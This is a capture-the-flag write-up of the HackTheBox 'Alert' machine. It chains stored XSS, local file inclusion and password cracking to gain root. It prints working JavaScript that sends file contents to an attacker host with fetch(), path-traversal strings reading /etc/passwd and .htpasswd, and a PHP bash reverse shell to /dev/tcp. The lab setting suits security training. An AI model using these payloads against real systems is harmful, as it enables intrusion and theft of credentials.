Skip to main content

HackTheBox Alert

Edwin Tok | Shiro
Author
Edwin Tok | Shiro
「 ✦ OwO ✦ 」
Table of Contents

IP Address: 10.10.11.44

Key Exploitation Techniques:

  • Privilege escalation via writable web server content in a root-owned process
  • Cross-Site Scripting (XSS) in Markdown rendering and contact form
  • Local File Inclusion (LFI) via an internal endpoint
  • XSS chain for data exfiltration
  • Apache $apr1$ MD5 hash cracking

Enumeration
#

An nmap scan identified SSH (22/tcp) and HTTP (80/tcp) running Apache.

$ nmap -sC -sV -A 10.10.11.44

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
|   256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_  256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://alert.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)

The hostname alert.htb for 10.10.11.44 was added to /etc/hosts.

echo -e '10.10.11.44\t\talert.htb' | sudo tee -a /etc/hosts

webpage

The alert.htb website allowed users to upload and view Markdown (.md) files. Tested and confirmed XSS in the Markdown upload.

$ cat test.md
# Heading1
<script>alert(1)</script>

xss_markdown

When uploaded, the <script> tag executed and triggered an alert box. Further testing showed contact.php was also vulnerable to XSS.

xss_markdown_embedded

xss_contact

The “About Us” page had a critical hint: an administrator reviews submitted content. Perfect for XSS.

Our administrator is in charge of reviewing contact messages and reporting errors to us, so we strive to resolve all issues within 24 hours.

Directory & Subdomain Enumeration
#

dirsearch was used to find hidden directories and files.

$ dirsearch -t 10 -e php -u 'http://alert.htb/'
...
301 -  309B  - /messages  ->  http://alert.htb/messages/
301 -  308B  - /uploads  ->  http://alert.htb/uploads/
403 -  274B  - /uploads/
...

Accessing http://alert.htb/messages/ and http://alert.htb/uploads/ resulted in 403 Forbidden.

A 403 bypass script (bypass-403.sh) was used to confirm accessibility.

$ ./bypass-403.sh http://alert.htb messages | grep 200
200,966  --> http://alert.htb -H X-rewrite-url: messages
200,1  --> http://alert.htb/messages.php # Confirmed accessible!

$ ./bypass-403.sh http://alert.htb uploads | grep 200
200,966  --> http://alert.htb -H X-rewrite-url: uploads

Confirmed that http://alert.htb/messages.php was accessible, despite its small size.

Subdomain enumeration with ffuf identified statistics.alert.htb.

$ ffuf -c -u "http://alert.htb" -H "HOST: FUZZ.alert.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -fc 301 -t 10
...
statistics              [Status: 401, Size: 467, Words: 42, Lines: 15, Duration: 3ms]

statistics.alert.htb presented a Basic Authentication prompt (Status 401). Noted for later. statistics.alert.htb was added to /etc/hosts.

statistics_webpage

login_request

Exploitation
#

XSS Chain to LFI
#

The strategy was to combine the XSS vulnerabilities and the administrator’s review process with the accessible messages.php endpoint to achieve LFI and exfiltrate sensitive files.

Step 1: Malicious Markdown Payload for Data Exfiltration

A test.md file was created containing a JavaScript payload. This script would fetch the content of http://alert.htb/messages.php and then exfiltrate the response to the attacker’s web server.

$ cat test.md
<script>
fetch("http://alert.htb/messages.php")
    .then(response => response.text())
    .then(data => {
    fetch("http://10.10.14.9/?shiro=" + encodeURIComponent(data));
    })
    .catch(error => console.error("Error fetching messages:", error));
</script>

This test.md was uploaded to alert.htb, and its shareable link (e.g., http://alert.htb/visualizer.php?link_share=676aa8c90b1985.30928944.md) was obtained.

Step 2: Injecting Malicious Markdown via contact.php XSS

A script tag referencing the uploaded malicious Markdown file was injected into the contact.php form. When the administrator viewed the contact message, the script would execute.

<script src="http://alert.htb/visualizer.php?link_share=676aa8c90b1985.30928944.md"></script>

Step 3: Receiving Exfiltrated Data

A Python HTTP server was started on the attacker machine to receive the exfiltrated data.

$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.14.9 - "GET /?shiro=%0A HTTP/1.1" 200 -
10.10.11.44 - "GET /?shiro=%3Ch1%3EMessages%3C%2Fh1%3E%3Cul%3E%3Cli%3E%3Ca%20href%3D%27messages.php%3Ffile%3D2024-03-10_15-48-34.txt%27%3E2024-03-10_15-48-34.txt%3C%2Fa%3E%3C%2Fli%3E%3C%2Ful%3E%0A HTTP/1.1" 200 -

The URL-encoded string was decoded (e.g., with CyberChef), revealing: <h1>Messages</h1><ul><li><a href='messages.php?file=2024-03-10_15-48-34.txt'>2024-03-10_15-48-34.txt</a></li></ul> Confirmed messages.php was vulnerable to LFI via the file parameter.

Step 4: LFI to /etc/passwd

The Markdown payload was revised to exploit the LFI in messages.php to read /etc/passwd.

$ cat test.md
<script>
fetch("http://alert.htb/messages.php?file=../../../../../etc/passwd")
    .then(response => response.text())
    .then(data => {
    fetch("http://10.10.14.9/?shiro=" + encodeURIComponent(data));
    })
    .catch(error => console.error("Error fetching messages:", error));
</script>

The Markdown was re-uploaded and the XSS reinjected into contact.php.

10.10.14.9 - "GET /?shiro=%0A HTTP/1.1" 200 -
10.10.11.44 - "GET /?shiro=%3Cpre%3Eroot%3Ax%3A0%3A0%3Aroot%3A%2Froot%3A%2Fbin%2Fbash%0Adaemon%3Ax%3A1%3A1%3Adaemon%3A%2Fusr%2Fsbin%3A%2Fusr%2Fsbin%2Fnologin%0Abin%3Ax%3A2%3A2%3Abin%3A%2Fbin%3A%2Fusr%2Fsbin%2Fnologin%0Asys%3Ax%3A3%3A3%3Asys%3A%2Fdev%3A%2Fusr%2Fsbin%2Fnologin%0Async%3Ax%3A4%3A65534%3Async%3A%2Fbin%3A%2Fbin%2Fsync%0Agames%3Ax%3A5%3A60%3Agames%3A%2Fusr%2Fgames%3A%2Fusr%2Fsbin%2Fnologin%0Aman%3Ax%3A6%3A12%3Aman%3A%2Fvar%2Fcache%2Fman%3A%2Fusr%2Fsbin%2Fnologin%0Alp%3Ax%3A7%3A7%3Alp%3A%2Fvar%2Fspool%2Flpd%3A%2Fusr%2Fsbin%2Fnologin%0Amail%3Ax%3A8%3A8%3Amail%3A%2Fvar%2Fmail%3A%2Fusr%2Fsbin%2Fnologin%0Anews%3Ax%3A9%3A9%3Anews%3A%2Fvar%2Fspool%2Fnews%3A%2Fusr%2Fsbin%2Fnologin%0Auucp%3Ax%3A10%3A10%3Auucp%3A%2Fvar%2Fspool%2Fuucp%3A%2Fusr%2Fsbin%2Fnologin%0Aproxy%3Ax%3A13%3A13%3Aproxy%3A%2Fbin%3A%2Fusr%2Fsbin%2Fnologin%0Awww-data%3Ax%3A33%3A33%3Awww-data%3A%2Fvar%2Fwww%3A%2Fusr%2Fsbin%2Fnologin%0Abackup%3Ax%3A34%3A34%3Abackup%3A%2Fvar%2Fbackups%3A%2Fusr%2Fsbin%2Fnologin%0Alist%3Ax%3A38%3A38%3AMailing%20List%20Manager%3A%2Fvar%2Flist%3A%2Fusr%2Fsbin%2Fnologin%0Airc%3Ax%3A39%3A39%3Aircd%3A%2Fvar%2Frun%2Fircd%3A%2Fusr%2Fsbin%2Fnologin%0Agnats%3Ax%3A41%3A41%3AGnats%20Bug-Reporting%20System%20(admin)%3A%2Fvar%2Flib%2Fgnats%3A%2Fusr%2Fsbin%2Fnologin%0Anobody%3Ax%3A65534%3A65534%3Anobody%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%0Asystemd-network%3Ax%3A100%3A102%3Asystemd%20Network%20Management%2C%2C%2C%3A%2Frun%2Fsystemd%3A%2Fusr%2Fsbin%2Fnologin%0Asystemd-resolve%3Ax%3A101%3A103%3Asystemd%20Resolver%2C%2C%2C%3A%2Frun%2Fsystemd%3A%2Fusr%2Fsbin%2Fnologin%0Asystemd-timesync%3Ax%3A102%3A104%3Asystemd%20Time%20Synchronization%2C%2C%2C%3A%2Frun%2Fsystemd%3A%2Fusr%2Fsbin%2Fnologin%0Amessagebus%3Ax%3A103%3A106%3A%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%0Asyslog%3Ax%3A104%3A110%3A%3A%2Fhome%2Fsyslog%3A%2Fusr%2Fsbin%2Fnologin%0A_apt%3Ax%3A105%3A65534%3A%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%0Atss%3Ax%3A106%3A111%3ATPM%20software%20stack%2C%2C%2C%3A%2Fvar%2Flib%2Ftpm%3A%2Fbin%2Ffalse%0Auuidd%3Ax%3A107%3A112%3A%3A%2Frun%2Fuuidd%3A%2Fusr%2Fsbin%2Fnologin%0Atcpdump%3Ax%3A108%3A113%3A%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%0Alandscape%3Ax%3A109%3A115%3A%3A%2Fvar%2Flib%2Flandscape%3A%2Fusr%2Fsbin%2Fnologin%0Apollinate%3Ax%3A110%3A1%3A%3A%2Fvar%2Fcache%2Fpollinate%3A%2Fbin%2Ffalse%0Afwupd-refresh%3Ax%3A111%3A116%3Afwupd-refresh%20user%2C%2C%2C%3A%2Frun%2Fsystemd%3A%2Fusr%2Fsbin%2Fnologin%0Ausbmux%3Ax%3A112%3A46%3Ausbmux%20daemon%2C%2C%2C%3A%2Fvar%2Flib%2Fusbmux%3A%2Fusr%2Fsbin%2Fnologin%0Asshd%3Ax%3A113%3A65534%3A%3A%2Frun%2Fsshd%3A%2Fusr%2Fsbin%2Fnologin%0Asystemd-coredump%3Ax%3A999%3A999%3Asystemd%20Core%20Dumper%3A%2F%3A%2Fusr%2Fsbin%2Fnologin%0Aalbert%3Ax%3A1000%3A1000%3Aalbert%3A%2Fhome%2Falbert%3A%2Fbin%2Fbash%0Alxd%3Ax%3A998%3A100%3A%3A%2Fvar%2Fsnap%2Flxd%2Fcommon%2Flxd%3A%2Fbin%2Ffalse%0Adavid%3Ax%3A1001%3A1002%3A%2C%2C%2C%3A%2Fhome%2Fdavid%3A%2Fbin%2Fbash%0A%3C%2Fpre%3E%0A HTTP/1.1" 200 -

The decoded shiro parameter on the attacker’s server contained the contents of /etc/passwd.

# Excerpt from decoded /etc/passwd
root:x:0:0:root:/root:/bin/bash
albert:x:1000:1000:albert:/home/albert:/bin/bash
david:x:1001:1002:,,,:/home/david:/bin/bash

The users albert and david were identified.

LFI to statistics.alert.htb Credentials
#

The /etc/passwd output indicated standard Linux users. The earlier 401 Basic Auth response for statistics.alert.htb suggested an Apache .htpasswd file. Research indicated a common location for such files in Apache configurations.

The 000-default.conf Apache configuration file was targeted via LFI to find the .htpasswd path.

<script>
fetch("http://alert.htb/messages.php?file=../../../../etc/apache2/sites-enabled/000-default.conf")
    .then(response => response.text())
    .then(data => {
    fetch("http://10.10.14.9/?shiro=" + encodeURIComponent(data));
    })
    .catch(error => console.error("Error fetching messages:", error));
</script>

Repeat the exploit steps above to get the call back.

10.10.11.44 - "GET /?shiro=%3Cpre%3E%3CVirtualHost%20*%3A80%3E%0A%20%20%20%20ServerName%20alert.htb%0A%0A%20%20%20%20DocumentRoot%20%2Fvar%2Fwww%2Falert.htb%0A%0A%20%20%20%20%3CDirectory%20%2Fvar%2Fwww%2Falert.htb%3E%0A%20%20%20%20%20%20%20%20Options%20FollowSymLinks%20MultiViews%0A%20%20%20%20%20%20%20%20AllowOverride%20All%0A%20%20%20%20%3C%2FDirectory%3E%0A%0A%20%20%20%20RewriteEngine%20On%0A%20%20%20%20RewriteCond%20%25%7BHTTP_HOST%7D%20!%5Ealert%5C.htb%24%0A%20%20%20%20RewriteCond%20%25%7BHTTP_HOST%7D%20!%5E%24%0A%20%20%20%20RewriteRule%20%5E%2F%3F(.*)%24%20http%3A%2F%2Falert.htb%2F%241%20%5BR%3D301%2CL%5D%0A%0A%20%20%20%20ErrorLog%20%24%7BAPACHE_LOG_DIR%7D%2Ferror.log%0A%20%20%20%20CustomLog%20%24%7BAPACHE_LOG_DIR%7D%2Faccess.log%20combined%0A%3C%2FVirtualHost%3E%0A%0A%3CVirtualHost%20*%3A80%3E%0A%20%20%20%20ServerName%20statistics.alert.htb%0A%0A%20%20%20%20DocumentRoot%20%2Fvar%2Fwww%2Fstatistics.alert.htb%0A%0A%20%20%20%20%3CDirectory%20%2Fvar%2Fwww%2Fstatistics.alert.htb%3E%0A%20%20%20%20%20%20%20%20Options%20FollowSymLinks%20MultiViews%0A%20%20%20%20%20%20%20%20AllowOverride%20All%0A%20%20%20%20%3C%2FDirectory%3E%0A%0A%20%20%20%20%3CDirectory%20%2Fvar%2Fwww%2Fstatistics.alert.htb%3E%0A%20%20%20%20%20%20%20%20Options%20Indexes%20FollowSymLinks%20MultiViews%0A%20%20%20%20%20%20%20%20AllowOverride%20All%0A%20%20%20%20%20%20%20%20AuthType%20Basic%0A%20%20%20%20%20%20%20%20AuthName%20%22Restricted%20Area%22%0A%20%20%20%20%20%20%20%20AuthUserFile%20%2Fvar%2Fwww%2Fstatistics.alert.htb%2F.htpasswd%0A%20%20%20%20%20%20%20%20Require%20valid-user%0A%20%20%20%20%3C%2FDirectory%3E%0A%0A%20%20%20%20ErrorLog%20%24%7BAPACHE_LOG_DIR%7D%2Ferror.log%0A%20%20%20%20CustomLog%20%24%7BAPACHE_LOG_DIR%7D%2Faccess.log%20combined%0A%3C%2FVirtualHost%3E%0A%0A%3C%2Fpre%3E%0A HTTP/1.1" 200 -

The decoded content of 000-default.conf revealed the path to the .htpasswd file for statistics.alert.htb.

# Excerpt from decoded 000-default.conf
<VirtualHost *:80>
    ServerName statistics.alert.htb
    # ...
    AuthUserFile /var/www/statistics.alert.htb/.htpasswd
    Require valid-user
</VirtualHost>

The path /var/www/statistics.alert.htb/.htpasswd was identified.

The Markdown payload was revised again to fetch the .htpasswd file.

<script>
fetch("http://alert.htb/messages.php?file=../../../../var/www/statistics.alert.htb/.htpasswd")
    .then(response => response.text())
    .then(data => {
    fetch("http://10.10.14.9/?shiro=" + encodeURIComponent(data));
    })
    .catch(error => console.error("Error fetching the messages:", error));
</script>

Repeat the exploit steps above to get the call back.

10.10.14.9 - "GET /?shiro=%0A HTTP/1.1" 200 -
10.10.11.44 - "GET /?shiro=%3Cpre%3Ealbert%3A%24apr1%24bMoRBJOg%24igG8WBtQ1xYDTQdLjSWZQ%2F%0A%3C%2Fpre%3E%0A HTTP/1.1" 200 -

The decoded shiro parameter on the attacker’s server contained the hash: albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/.

Hash Cracking & SSH Access
#

Saved the hash to albert_hash.txt. hashcat --identify confirmed it as Apache $apr1$ MD5 (mode 1600).

$ echo 'albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/' > albert_hash.txt
$ hashcat --identify albert_hash.txt
# ...
1600 | Apache $apr1$ MD5, md5apr1, MD5 (APR)

The hash was cracked using hashcat with rockyou.txt.

$ hashcat -m 1600 -a 0 albert_hash.txt /usr/share/wordlists/rockyou.txt
$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/:manchesterunited

The password for albert was manchesterunited.

Got SSH access using these credentials.

statistics_albert_login

$ ssh albert@alert.htb
albert@alert.htb's password: manchesterunited
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-200-generic x86_64)
albert@alert:~$

Retrieving user.txt
#

albert@alert:~$ cat user.txt
<redacted>

Privilege Escalation
#

Writable Config & Root-Owned Web Server
#

Privilege escalation was pursued by enumerating albert’s permissions and running processes.

albert@alert:~$ sudo -l
Sorry, user albert may not run sudo on alert.

The id command confirmed albert was a member of the management group.

albert@alert:~$ id
uid=1000(albert) gid=1000(albert) groups=1000(albert),1001(management)

linpeas.sh and ps aux were used to identify interesting processes and file permissions. Key findings included:

albert@alert:~$ ./linpeas.sh
...
╔══════════╣ Running processes (cleaned)
...
root        1017  0.0  0.0   2636   728 ?        S    06:12   0:00  |           _ inotifywait -m -e modify --format %w%f %e /opt/website-monitor/config
...
╔══════════╣ Modified interesting files in the last 5mins (limit 100)
...
/opt/website-monitor/monitors/alert.htb
/opt/website-monitor/monitors/statistics.alert.htb
...

alerbt@alert:~$ ps aux
...
root        1006  0.0  0.6 206768 24300 ?        Ss   06:12   0:00 /usr/bin/php -S 127.0.0.1:8080 -t /opt/website-monitor
...

We could observe that there is a root-owned inotifywait process monitoring /opt/website-monitor/config for modifications. This indicated that changes to this directory would likely trigger an action.

We could also observe that a root-owned PHP web server process was serving /opt/website-monitor on a local port.

albert@alert:/opt/website-monitor$ ls -la
drwxrwxr-x 2 root management  4096 Oct 12 04:17 config # Writable by 'management' group
-rwxrwxr-x 1 root root        5323 Oct 12 01:00 index.php
-rwxrwxr-x 1 root root        1452 Oct 12 01:00 monitor.php

The config directory within /opt/website-monitor was writable by the management group, which albert belonged to.

The README.md file in /opt/website-monitor suggested a cron job running monitor.php periodically.

albert@alert:/opt/website-monitor$ cat README.md
...
To automate your monitoring, you can add something like this to your crontab:
```
* * * * * /usr/bin/php -f /path/to/monitor.php >/dev/null 2>&1
```
...

The local web server (127.0.0.1:8080) was accessed via SSH local port forwarding.

$ ssh -f -N -L 48080:127.0.0.1:8080 albert@alert.htb
# Access local web server via http://127.0.0.1:48080 on attacker machine
$ curl http://127.0.0.1:48080
<!DOCTYPE html>
<html lang="en">
<head>
<title>Website Monitor</title>
# ... (HTML content)

Confirmed the “Website Monitor” application was running locally, served by the root-owned PHP process.

The configuration.php file within the config directory was inspected.

albert@alert:/opt/website-monitor/config$ cat configuration.php
<?php
define('PATH', '/opt/website-monitor');
?>

Exploiting Writable Configuration
#

The config directory (writable by albert) was served by a root-owned PHP web server. Allowed arbitrary code execution by placing a malicious PHP file within this directory and directly accessing it through the forwarded port.

A PHP reverse shell payload was crafted and placed in a new file, exploit.php, within /opt/website-monitor/config/.

albert@alert:/opt/website-monitor/config$ vi exploit.php
# Contents of exploit.php:
# <?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.3/443 0>&1'"); ?>

Set up a netcat listener on the attacker machine.

$ nc -nlvp 443
listening on [any] 443 ...

The malicious PHP file was then triggered by accessing it via the local forwarded port.

albert@alert:/opt/website-monitor/config$ curl http://127.0.0.1:48080/config/exploit.php

The curl request caused the root-owned PHP web server to execute exploit.php, establishing a reverse shell.

connect to [10.10.14.3] from (UNKNOWN) [10.10.11.44] 44626
whoami
root

Retrieving root.txt
#

root@alert:/opt/website-monitor/config# cat /root/root.txt
<redacted>

Related